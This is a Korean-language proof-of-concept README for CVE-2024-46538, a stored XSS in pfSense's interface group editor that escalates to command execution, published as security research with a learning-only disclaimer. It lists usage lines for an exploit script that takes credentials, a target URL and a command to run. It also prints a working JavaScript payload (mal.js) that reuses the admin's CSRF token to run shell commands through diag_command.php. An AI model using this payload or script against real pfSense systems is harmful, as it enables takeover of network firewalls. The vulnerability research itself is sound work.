
PfSense 저장형 XSS로 인한 임의 코드 실행 익스플로잇
This post is a research article published by EQSTLab.
Thanks to physicszq, who discovered this vulnerability.
★ CVE-2024-46538 PfSense 저장형 XSS로 인한 임의 코드 실행 PoC ★
https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae
CVE-2024-46538 : PfSense 저장형 XSS 취약점
설명: pfsense v2.5.2의 XSS(교차 사이트 스크립팅) 취약점으로 인해 공격자가 interfaces_groups_edit.php의 $pconfig 변수에 주입한 조작된 페이로드를 통해 임의의 웹 스크립트 또는 HTML을 실행할 수 있습니다.
취약한 버전(v2.5.2) 다운로드:
Oracle Virtual Box에서 실행
1. 가상 머신 생성

2. 어댑터 1, 2를 다음과 같이 설정:

3. 부팅 순서를 다음과 같이 설정:

4. 지시 사항을 다음과 같이 따르세요:

git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538
pip install -r requirements.txt
# 악성 JavaScript 페이로드 저장 (사용자 지정 JS 서버 없음)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# 악성 JavaScript 페이로드 저장 (사용자 지정 JS 서버 사용)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
CVE-2024-46538.py

/src/usr/local/www/interfaces_groups_edit.php
if (isset($_POST['members'])) {
$members = implode(" ", $_POST['members']);
} else {
$members = "";
}
...
// Create new group
} else {
$ifgroupentry['ifname'] = $_POST['ifname'];
$a_ifgroups[] = $ifgroupentry;
}
write_config("Interface Group added");
interface_group_setup($ifgroupentry);
header("Location: interfaces_groups.php");
exit;
} else {
$pconfig['descr'] = $_POST['descr'];
$pconfig['members'] = $members;
}
}
interfaces_groups_edit.php의 $pconfig 변수에 대한 필터링 부재로 인해 교차 사이트 스크립팅(XSS) 취약점이 발생합니다. 이 XSS 취약점으로 인해 공격자는 diag_command.php 엔드포인트를 활용하여 관리자를 대상으로 임의의 명령을 실행할 수 있습니다. 예를 들어, 다음 JavaScript는 임의 코드 실행으로 이어질 수 있습니다.
mal.js
var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})
사용자 (권한: WebCfg - Interfaces: Groups: Edit) --(악성 JavaScript 코드 저장)--> 관리자 (코드 실행 권한 보유) --(interfaces_groups.php 읽기)--> JavaScript 코드 실행 --> 코드 실행
이 저장소는 CVE-2024-46538에 대한 XSS 익스플로잇으로 사용하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.
https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md